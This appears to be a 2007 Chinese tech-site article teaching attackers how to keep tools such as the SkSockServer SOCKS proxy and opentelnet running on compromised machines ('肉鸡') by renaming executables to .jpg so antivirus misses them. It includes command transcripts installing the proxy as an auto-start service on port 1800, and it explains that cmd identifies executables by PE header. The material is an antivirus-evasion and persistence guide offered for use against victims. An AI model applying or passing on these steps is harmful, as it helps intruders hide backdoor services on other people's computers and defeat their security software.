利用cmd躲过肉鸡病毒防火墙的方法

| 网站首页 | 资讯 | 技术中心 | 下载 | 图片 | 影视一区 | 影视二区 | 影视三区 | 迅雷电影 | 电视 | 电子书 | 论文 |

您现在的位置：电脑之家 DNZJ.NET >> 技术中心 >> 电脑学苑 >> 软件专区 >> 操作系统 >> 文章正文

利用cmd躲过肉鸡病毒防火墙的方法

【字体：小大】

利用cmd躲过肉鸡病毒防火墙的方法

作者：网络文章来源：网络点击数：更新时间：2007-6-15

md躲过肉鸡病毒防火墙的方法

但很多软件都已经被列为病毒!
比如：opentelnet，ca等，放到肉鸡上很可能就被杀掉....不爽
连SkSockServer都被列为病毒...郁闷啊！！
经过几次尝试，我想到了一种简单的躲过杀毒软件的方法。那就是更改可执行程序的扩展名。
比如我们可以把SkSockServer.exe更改为sk.jpg
这样的话，杀毒软件就查不出来了。
在直接双击执行更改过扩展名的程序时候，系统便会询问用什么方式打开，也就是说windows也认不出来。
但是我们在cmd命令行中却可以执行。是不是很神奇？？？而且和没改扩展名的时候效果是一样的。
不同的是，当我们要执行更改了扩展名的程序时候需要打全名(把扩展名也打上)。
下面是我在本机上安装sksockserver(sk.jpg)：

首先：
我们利用没改扩展名的程序：
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
E:\>SkSockServer -install
拒绝访问。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这时就弹出瑞星的病毒提示，说发现病毒！
下面我们看看改过扩展名的。

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
E:\>sk.jpg -install
Snake SockProxy Service installed.
E:\>sk.jpg -config port 1800
The Port value have set to 1800
E:\>sk.jpg -config starttype 2
The New StartType have set to 2 -- Auto
E:\>net start skserver
Snake SockProxy Service 服务正在启动 .
Snake SockProxy Service 服务已经启动成功。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ok！成功！
现在我们不怕杀毒软件了！而其他的在命令行执行的程序也可以用这种方法。
我就不一一叙述了。

原理：
其实原理很简单，我们利用了cmd判断文件类型的方法：
在CMD中，系统首先判断文件的类型是否是执行文件，
判断方法不是文件扩展名，而是文件头的PE段。
如是执行文件，则执行它。
如不是，再根据相应的关联启动相应程序。
如没有输入扩展名，则系统将默认扩展名为BAT，EXE,COM
依次判断。
也就是说，程序更改了扩展名后，只有cmd.exe能“认”出它来，
因为cmd不是根据扩展名来判断文件类型的。
而windows是靠扩展名来判断文件类型的.
这样，我们就可以骗过windows和杀毒软件

文章录入：admin 责任编辑：admin

上一篇文章：快马加鞭 20秒进入Windows XP操作系统

下一篇文章： Windows文件系统漏洞！（非常简单）

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				利用Word 2007书签轻松编辑利用Mcafee根治Viking 威金病利用Vista新功能监控孩子使用 BIOS、CMOS经典故障 BIOS与CMOS区别精彩！巧用Ctrl成为Word快捷利用MSTP建设3G传输网利用现有E1电路实现以太网接使用cisco 2500路由器实现AD 利用IE漏洞的恶意网页的告警

　　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）

您好！我是网虫，欢迎来到电脑之家做客，愿您在这里与知音相遇。建议使用 IE 6.0 以上，1024*768 分辨率全屏观看。

‖设为首页‖加入收藏‖联系站长‖友情链接‖版权申明‖后台管理‖